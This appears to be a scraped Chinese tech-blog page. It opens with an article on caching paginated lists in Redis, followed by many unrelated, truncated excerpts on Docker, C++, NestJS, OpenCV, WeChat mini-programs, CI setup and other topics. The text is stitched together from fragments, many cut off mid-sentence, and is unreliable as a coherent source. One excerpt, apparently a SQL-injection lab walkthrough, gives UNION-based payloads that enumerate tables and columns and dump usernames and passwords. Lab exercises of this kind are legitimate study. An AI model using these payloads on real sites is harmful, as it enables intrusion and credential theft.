摘要:本文介绍了实现分页列表缓存的三种方式。
本文分享自华为云社区《分页列表缓存,你真的会吗》,作者: 勇哥java实战分享 。
显而易见,这是最简单易懂的方式。
我们按照不同的分页条件来缓存分页结果 ,伪代码如下:
public List<Product> getPageList(String param,int page,int size) { String key = "productList:page:" + page + ”size:“ + size + "param:" + param ; List<Product> dataList = cacheUtils.get(key); if(dataList != null) { return dataList; } dataList = queryFromDataBase(param,page,size); if(dataList != null) { cacheUtils.set(key , dataList , Constants.ExpireTime); } }
这种方案的优点是工程简单,性能也快,但是有一个非常明显的缺陷基因:列表缓存的颗粒度非常大。
假如列表中数据发生增删,为了保证数据的一致性,需要修改分页列表缓存。
有两种方式 :
1、依靠缓存过期来惰性的实现 ,但业务场景必须包容;
2、使用 Redis 的 keys 找到该业务的分页缓存,执行删除指令。 但 keys 命令对性能影响很大,会导致 Redis 很大的延迟 。
生产环境使用 keys 命令比较危险,发生事故的几率高,非常不推荐使用。
缓存分页结果虽然好用,但缓存的颗粒度太大,保证数据一致性比较麻烦。
所以我们的目标是更细粒度的控制缓存 。
我们查询出商品分页对象ID列表,然后为每一个商品对象创建缓存 , 通过商品ID和商品对象缓存聚合成列表返回给前端。
伪代码如下:
核心流程:
// 从数据库中查询分页商品 ID 列表 List<Long> productIdList = queryProductIdListFromDabaBase( param, page, size);
对应的 SQL 类似:
SELECT id FROM products ORDER BY id LIMIT (page - 1) * size , size
Map<Long, Product> cachedProductMap = cacheUtils.mget(productIdList);
假如我们使用本地缓存,直接一条一条从本地缓存中聚合也极快。
假如我们使用分布式缓存,Redis 天然支持批量查询的命令 ,比如 mget ,hmget 。
List<Long> noHitIdList = new ArrayList<>(cachedProductMap.size()); for (Long productId : productIdList) { if (!cachedProductMap.containsKey(productId)) { noHitIdList.add(productId); } }
因为缓存中可能因为过期或者其他原因导致缓存没有命中的情况,所以我们需要找到哪些商品没有在缓存里。
首先从数据库里批量查询出未命中的商品信息列表 ,请注意是批量。
List<Product> noHitProductList = batchQuery(noHitIdList);
参数是未命中缓存的商品ID列表,组装成对应的 SQL,这样性能更快 :
SELECT * FROM products WHERE id IN (1, 2, 3, 4);
然后这些未命中的商品信息存储到缓存里 , 使用 Redis 的 mset 命令。
//将没有命中的商品加入到缓存里 Map<Long, Product> noHitProductMap = noHitProductList.stream() .collect( Collectors.toMap(Product::getId, Function.identity()) ); cacheUtils.mset(noHitProductMap); //将没有命中的商品加入到聚合map里 cachedProductMap.putAll(noHitProductMap);
for (Long productId : productIdList) { Product product = cachedProductMap.get(productId); if (product != null) { result.add(product); } }
当前方案里,缓存都有命中的情况下,经过两次网络 IO ,第一次数据库查询 IO ,第二次 Redis 查询 IO , 性能都会比较好。
所有的操作都是批量操作,就算有缓存没有命中的情况,整体速度也较快。
”查询对象ID列表,再缓存每个对象条目“ 这个方案比较灵活,当我们查询对象ID列表,可以不限于数据库,还可以是搜索引擎,Redis 等等。
下图是开源中国的搜索流程:
精髓在于:搜索的分页结果只包含业务对象 ID ,对象的详细资料需要从缓存 + MySQL 中获取。
笔者曾经重构过类似朋友圈的服务,进入班级页面 ,瀑布流的形式展示班级成员的所有动态。
我们使用推模式将每一条动态 ID 存储在 Redis ZSet 数据结构中 。Redis ZSet 是一种类型为有序集合的数据结构,它由多个有序的唯一的字符串元素组成,每个元素都关联着一个浮点数分值。
ZSet 使用的是 member -> score 结构 :
如上图所示:ZSet 存储动态 ID 列表 , member 的值是动态编号 , score 值是创建时间。
通过 ZSet 的 ZREVRANGE 命令就可以实现分页的效果。
ZREVRANGE 是 Redis 中用于有序集合(sorted set)的命令之一,它用于按照成员的分数从大到小返回有序集合中的指定范围的成员。
为了达到分页的效果,传递如下的分页参数 :
通过 ZREVRANGE 命令,我们可以查询出动态 ID 列表。
查询出动态 ID 列表后,还需要缓存每个动态对象条目,动态对象包含了详情,评论,点赞,收藏这些功能数据 ,我们需要为这些数据提供单独做缓存配置。
无论是查询缓存,还是重新写入缓存,为了提升系统性能,批量操作效率更高。
若缓存对象结构简单,使用 mget 、hmget 命令;若结构复杂,可以考虑使用 pipleline,Lua 脚本模式 。笔者选择的批量方案是 Redis 的 pipleline 功能。
我们再来模拟获取动态分页列表的流程:
本文介绍了实现分页列表缓存的三种方式:
这三种方式是一层一层递进的,要诀是:细粒度的控制缓存和批量加载对象。
点击关注,第一时间了解华为云新鲜技术~
Docker是一个开源的应用容器引擎,基于 Go语言 并遵从Apache2.0协议开源。Docker可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口(类似iPhone的app),更重要的是容器性能开销极低。Docker的应用场景Web应用的自动化打包和发布。自动化测试和持续集成、发布。在服务型环境中部署和调整数据库或其他的后台应用。从头编译或者扩展现有的OpenShift或CloudFoundry平台来搭建自己的PaaS环境。Docker的优点1、简化程序:Docker让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,便可以实现虚拟化。Docker改变了虚拟化的方式,使开发者可以直接将自己的成果放入Docker中进行管理。方便快捷已经是Docker的最大优势,过去需要用数天乃至数周的任务,在Docker容器的处理下,只需要数秒就能完成。2、避免选择恐惧症:如果你有选择恐惧症,还是资深患者。Docker帮你打包你的纠结!比如
之前我写过一系列的c/c++从汇编上解释它如何实现的博文。从汇编层面上看,确实c/c++的执行过程很清晰,甚至有的地方可以做相关优化。而c++有的地方就只是一个语法糖,或者说并没有转化到汇编中,而是直接在编译阶段做一个语法检查就完了。并没有生成汇编代码。也就是说之前写的c/c++不能涵盖它们的全部内容。而且抽象层次太低,在应用上很少会考虑它的汇编实现。而且从c++11开始,加入了很多新特性,给人的感觉就好像是一们新的编程语言一样。对于这块内容,我觉得自己的知识还是有欠缺了,因此我决定近期重新翻一翻很早以前买的《c++primer》学习一下,并整理学习笔记背景介绍为什么会想到再次重新学习c++的基础内容呢?目前来看我所掌握的并不是最新的c++标准,而是“cwithclass”的内容,而且很明显最近在关注一些新的cpp库的时候,发现它的语法我很多地方都没见过,虽然可以根据它的写法来大致猜到它到底用了什么东西,或者说在实现什么功能,但是要自己写,可能无法写出这种语法。而且明显感觉到新的标准加入了很多现代编程语言才有的内容,比如正则表达式、lambda表达式等等。这些都让写c++变得容易,写出
对于一个WebAPI项目,数据库是必不可少的,Nest与数据库无关,允许您轻松地与任何SQL或NoSQL数据库集成。根据您的偏好,您有许多可用的选项。本篇我们讲解集成MySQL数据库,Nest提供了@nestjs/typeorm包,为了开始使用它,我们首先安装所需的依赖项。1安装依赖typeorm对mysql数据库版本有要求,需要5.6以上npminstall--save@nestjs/typeormtypeormmysql 复制2导入TypeOrmModule安装完成后我们在app.module导入TypeOrmModule,import{Module}from'@nestjs/common'; import{AppController}from'./app.controller'; import{AppService}from'./app.service'; //引入数据库的及配置文件 import{TypeOrmModule}from'@nestjs/typeorm'; import{Connecti
新智元报道编辑:白峰【新智元导读】近日,由圣母大学姜炜文博士后,史弋宇教授和IBM研究院JinjunXiong博士开展的研究,实现了首个机器学习和量子计算协同设计框架,QuantumFlow,为神经网络在量子计算机上的实现铺平了道路。QuantumFlow框架能够自动地完成神经网络到IBM量子计算机的部署。原文链接:https://arxiv.org/pdf/2006.14815.pdf神经网络加速迎来新玩家 量子计算机是一种使用量子逻辑进行通用计算的设备,使用量子比特进行数据存储,使用量子算法来进行数据操作。量子计算研究可以追溯到19世纪60年代,在2016诞生了首台可编程量子计算机。IBM于2019年1月展示了商业化量子计算机IBMQ,并预测将于20世纪20年代获得量子优势:针对真实的应用场景,展现出量子计算超越经典计算的能力。图1:量子优势之路:从19世纪60年代的量子科学,2016年进入量子准备阶段,20世纪20年代将进入量子优势阶段以利用量子计算机解决实际问题(Source:IBM)图2:神经网络硬件加速器迎来新成员:量子计算机深度神经网络是当下计算应用中发展最快,使用最广
来源:公众号小白学视觉授权本文将向大家介绍如何使用OpenCV库进行坑洼检测。为什么要检测坑洼?坑洼是道路的结构性指标,事先发现坑洼地可以延长高速公路的使用寿命,防止事故的发生,同时降低死亡率。 一种可行的解决方案是构建自动坑洞检测系统,该系统可通过云服务发送实时信息以提醒管理结构,来杜绝每天人工检查所产生的不必要花费。OpenCV是一个帮助研究人员处理图像问题的库,该库提供了大量处理图像的方法。OpenCV的使用将有助于坑洼检测。图像的基础知识在了解代码之前,必须先了解图像的工作原理。 图像一般被划分为很多像素,每个像素的值范围介于0和255之间。转换为灰度时,范围从0到1。大小为28x28的灰度图像可以操作图像的每个像素。例如,如果希望随机像素具有另一个值,则有两种方法。第一种是通过直接更改矩阵中的点来更改这一点。第二种是使用内核东西来实现。内核是具有一定值的小矩阵,通常为3x3,叠加在图像上充当滤波器。(40*0)+(42*1)+(46*0)+(46*0)+(50*0)+(55*0)+(52*0)+(56*0)+(58*0)=42上图显示了图像与内核卷积的结果。卷积是通过数值的相
队列是一种先进先出的结构,队列末尾插入,队列开头出队。但是优先队列是什么呢?优先队列打破了队列的特性,有两种优先队列:最大优先队列:无论入队顺序如何,出队时都是最大元素出队最小优先队列:无论入队顺序如何,出队时都是最小元素出队最大优先队列可以使用最大堆进行实现,每一次入队操作都是堆的插入操作,每一次出队都是删除堆顶节点。publicclassPriorityQueue{ privateint[]array; privateintsize; publicPriorityQueue(intsize){ array=newint[size]; } publicvoidenqueue(intvalue){ if(size>=array.length){ resize(); } array[size++]=value; upAdjust(array); } publicintdequeue()throwsException{ if(size<0){ thrownewException("queueisempty!"); }
原文链接:NeuralLanguageModelingbyJointlyLearningSyntaxandLexicongodweiyang.com论文地址:NeuralLanguageModelingbyJointlyLearningSyntaxandLexiconarxiv.org代码地址:yikangshen/PRPNgithub.com最近开始转向去看看一些无监督的成分句法分析论文,看看能否有一些启发QAQ。这篇博客摸鱼划水写了整整四天才写完,好累啊啊啊。介绍一般来说,自然语言是由词汇和句法组成的,但是标准的语言模型一般都只用RNN对词汇进行建模,句法信息都是隐式的学习到的,没有办法显式地拿出来使用。所以本文提出的语言模型的变体可以结合结构上的attention,在中间过程中学习到结构信息,然后这层结构信息可以拿来生成句法树,用来做无监督的句法分析。那么为什么要做无监督的句法分析呢?主要原因还是一些小语种标注语料太少了甚至没有,不能用监督句法分析来做。而且无监督句法分析学到的信息还可以用来增强语言模型或者更为下游的任务的性能,使它们能更好的融合句法结构信息。本文提出的模型(PR
https://:44356/sap/opu/odata/sap/CRM_ANA_ODATA_REPORTS_SRV/IReports(‘3440B5B173AE1ED4B291F2E609965164’)?KaTeXparseerror:Expected'EOF',got'&'atposition56:…,IReportNavmaps&̲format=json&_=1433149763209 只需要知道report的uuid即可.Reportguid可以通过report的id从tableCRMD_ANA_OD_REP中查找。一共三个element。 Element1-AnalysisStage:这是一个attribute。(Element只有attribute和measure两种类型)element2和element3都是measure,区别就是带weight和不带weight。通过如下表能够查到:condition一共5个:condition有下列三种类型:condition1是一个filter:condition2是
1.服务地址 API支持就近地域接入,本产品就近地域接入域名为ecm.tencentcloudapi.com,也支持指定地域域名访问,例如广州地域的域名为ecm.ap-guangzhou.tencentcloudapi.com。 推荐使用就近地域接入域名。根据调用接口时客户端所在位置,会自动解析到最近的某个具体地域的服务器。例如在广州发起请求,会自动解析到广州的服务器,效果和指定ecm.ap-guangzhou.tencentcloudapi.com是一致的。 注意:对时延敏感的业务,建议指定带地域的域名。 注意:域名是API的接入点,并不代表产品或者接口实际提供服务的地域。产品支持的地域列表请在调用方式/公共参数文档中查阅,接口支持的地域请在接口文档输入参数中查阅。 目前支持的域名列表为: 接入地域 域名 就近地域接入(推荐,只支持非金融区) ecm.tencentcloudapi.com 华南地区(广州) ecm.ap-guangzhou.tencentcloudapi.com 华东地区(上海) ecm.ap-shanghai.tencentcloudapi.
父组件传值给子组件 有两个文件,各自名为:A文件和B文件,其中A文件为父组件,B文件为子组件。 1、在父组件中引用子组件 1.1、在父组件json中导入子组件 { "usingComponents":{ "B":"../../components/B/B", },}复制 左边代表子组件的名称(可自定义),右边是子组件的路径。 2、在父组件.wxml中,子组件的引用处,绑定一个属性(text),并传递想要给子组件的值 <Btext="我是父组件,传值给子组件"></B>复制 也可以在父组件的.js的data里面声明数据,并传给子组件。如: Page({ data:{ tabs:[ {id:0,value:'综合',isActive:true}, {id:1,value:'销量',isActive:false}, {id:2,value:'价格',isActive:false}, ] }, })复制 <Btabs="{{tabs
简单模式: 学生表(ID,姓名,年龄,生日) 学生扩展字段表(ID,扩展字段名称(班级、专业),编码,扩展字段类型(int,string,arr等)) 扩展字段存值表(学生表ID,扩展字段表编码,值) 现在添加一个学生张三{1,张三,22,1999-12-12,八班,计算机科学与技术},这条数据应该怎么插入数据库呢? 首先:将{1,张三,22,1999-12-12}插入学生表。然后在存值表插入两条数据。 这种模式可以随意扩展学生表的字段。 表结构图: 复杂模式: 如下图: 加了一级人员类别,扩展字段作用到人员类别上,这样更加灵活。 类似于电商中的商品分类-扩展设计。每个商品分类都可以有自己的扩展字段 问题: 当学生表数据非常多的时候,查询的时候要先查主表,然后还有根据主表的每一条记录去查存值表中的数据,查询效率慢。 如果筛选条件是字段扩展表中的字段,那么查询的速度将会更慢,因为要先查子表数据,根据子表中取出的学生表ID(还要去重)再去主表中in查询,这效率简直太低了。 解决问题 解决复杂模
1.参考Less(38),在单引号后加括号; 2.爆破 (1)爆库:?id=1')and1=2unionselect1,database(),3--- (2)爆表:?id=1')and1=2unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()--- (3)爆列名:?id=1')and1=2unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_name="users"--- (4)爆值:?id=1')and1=2unionselect1,group_concat(username),group_concat(password)fromsecurity.users---
目录ContestInfoSolutionsA.OptimalCurrencyExchangeB.BadgesC.BadSequenceD.TreasureIsland ContestInfo [PracticeLink](https://codeforces.com/contest/1214) Solved A B C D E F G H 4/8 O O O Ø - - - - O在比赛中通过 Ø赛后通过 !尝试了但是失败了 -没有尝试 Solutions A.OptimalCurrencyExchange 题意: 有\(n\)个卢布,\(d\)卢布可以换\(1\)美元,\(e\)卢布可以换\(1\)欧元。 美元只能按\(1,2,5,10,20,50,100\)这样的面额兑换。 欧元只能按\(5,10,20,50,100,200\)这样的面额兑换。 问兑换之后剩下的卢布最少是多少? 思路: 首先兑换美元只考虑\(1\)美元为单位进行兑换即可。 欧元只考虑\(5\)欧元为单位进行兑换即可。 然后考虑兑换\(x\)个\(5\)欧元和\(y\)个\(1\)美元。
一:什么是ANR ANR:ApplicationNotResponding,即应用无响应 二:ANR的类型 ANR一般有三种类型: 1:KeyDispatchTimeout(5seconds)--主要类型 按键或触摸事件在特定时间内无响应 2:BroadcastTimeout(10seconds) BroadcastReceiver在特定时间内无法处理完成 3:ServiceTimeout(20seconds)--小概率类型 Service在特定的时间内无法处理完成 三:KeyDispatchTimeout Akeyortoucheventwasnotdispatchedwithinthespecifiedtime(按键或触摸事件在特定时间内无响应) 具体的超时时间的定义在framework下的 ActivityManagerService.java //Howlongwewaituntilwetimeoutonkeydispatching. staticfinalintKEY_DISPATCHING_TIMEOUT=5*1000 四:为什么会超时呢? 超时时间的计数一般是从按键分发给
为什么要使用装饰器? 在不改变原函数功能的情况,为了添加新的功能我们可以在函数运行前后给函数添加新的功能 1defouter(func): 2#fun()等于原f1函数 3definner(): 4print('ccccc') 5r=func() 6print('dddd') 7returnr 8returninner 9@outer 10#@outer代表运行了2个步骤:1.将f1作为参数运行outer函数,2.新函数f1=inner() 11deff1(): 12print('很复杂') 13r=f1() 14print(r) 15#输出:ccccc 16#很复杂 17# dddd 18# None复制 两个装饰器的作用 defouter_1(func): definner(*args,**kwargs): print('aaaa') r=func(*args,**kwargs) print('bbbb') returnr returninner defouter(func): definner(*args,**kwargs): print('ccccc'
目录 1.持续集成介绍 1.1概念 1.2持续集成的好处 2.GitLab持续集成(CI) 2.1简介 2.2GitLab简单原理图 2.3GitLab持续集成所需环境 2.4需要了解知识 3.搭建GitLab持续集成环境(NET版) 3.1环境搭建 3.1.1基础环境搭建 3.1.2Git安装 3.1.3NuGet安装 3.2相关配置 3.2.1Git环境变量配置 3.2.2PowerShell调用测试 3.2.3GitLab-Runner下载 3.3GitLab查看项目的Runners 3.4构建GitLab-Runner服务 3.4.1介绍 3.4.2下载软件(没下载的请下载) 3.4.3注册信息 3.4.4开启gitlab-runner服务 3.4.5修改协议config.toml文件(重要) 3.5构建.gitlab-ci.yml脚本 3.6完成配置 4.常见问题解决 4.1GitLab出现Pending卡住 4.2GitLabCI乱码问题 4.3明明错误,但Build成功 4.4.gitlab-ci.yml脚本错误 1. 持续集成介绍 1.
Less是一门CSS预处理语言,它扩展了CSS语言,增加了变量、Mixin、函数等特性,使CSS更易维护和扩展。 Less可以运行在Node或浏览器端。 一、安装node.js 打开命令行(win+R 输入cmd回车) 输入node-v 检查是否安装成功。 二、安装cnpm(此步可略过) 如果npm安装失败可以尝试使用 cnpm 在命令行输入:npminstall-gcnpm--registry=https://registry.npm.taobao.org 等待安装完成即可。 三、全局安装Less (提示:如果npm安装失败,请尝试使用cnpm安装,方法与npm相同,将那npm替换为cnpm即可) 命令行输入:npminstallless-g 检查less环境是否配置完成: 命令行输入:lessc-v 看是否能正确打印版本号 但是sublime是不能使用的。 四、继续安装 命令行输入:npminstallless-plugin-clean-css-g 安装完成后重启sublime。 五、安装sublime插件 Less2Css 通过Packag
这个作业属于哪个课程 2018级计算机和综合实验班 这个作业要求在哪里 第七次团队作业:Alpha冲刺 作业目标 测试完成的小程序 作业正文 如下所示 一、测试工作安排 项目 测试结果 登录 通过 开始打卡 通过 结束打卡 通过 排行榜 未通过 二、测试工具选择和运用 采取人工使用小程序进行测试。 三、测试用例文档 四、测试体会 首先,任务过程中每位小伙伴都很认真也很辛苦,虽然最终做出来的小程序与最初设想的并没有那么符合,可以实现的功能也不多。其次,我们选择了比较方便快捷的手动测试,发现还是有一些小bug,例如数据库内没有存储的学号,只要密码正确也可以登录,当然也有其他小问题,在测试之后我们也对这些问题进行了修改。最后,任务结束之余,很遗憾没能完成排行榜等其他功能,但这次的学习对我们帮助也是很大的。 五、项目测试评述 过程很难,结果也略显不尽人意,最终所展现出来的只是一个很简单的打卡小程序,不过也学习到了一些从未学到的知识。
在查看本文的前提,有如下几点: 会使用Jmeter,知道如何去添加http请求的sampler 会利用Jmeter完成基本的http请求或者是接口测试 知道文件上传是怎么回事 言归正传,其实文件上传我们也可以理解为一个接口测试,我们通过这个接口去上传文件。但是这个接口操作跟别的接口不同之处在于我们需要指明文件所在的位置,基本关键的设置在于2个点: 一、参数的设置: 比如这里:fileSize是指文件的大小fileName是指文件上传重命名的名字 二、文件参数的设置: 跟普通接口不同的地方,我们如果要上传文件,那么在http的请求里面还需要设置一下filesupload的参数,如下所示: 操作完毕后,可以看到结果如下所示: 转载自:https://www.cnblogs.com/liulinghua90/
微信配置文件 #微信开放平台appid wx.open.app-id=你的appid #微信开放平台appsecret wx.open.app-secret=你的secret #微信开放平台重定向url wx.open.redirect-uri=重定向url/api/user/wx/callback复制 配置类 packagecom.atguigu.yygh.user.utils; importlombok.Data; importorg.springframework.boot.context.properties.ConfigurationProperties; importorg.springframework.context.annotation.Configuration; importorg.springframework.context.annotation.PropertySource; @Configuration @PropertySource("classpath:wx.properties") @ConfigurationProperties(pref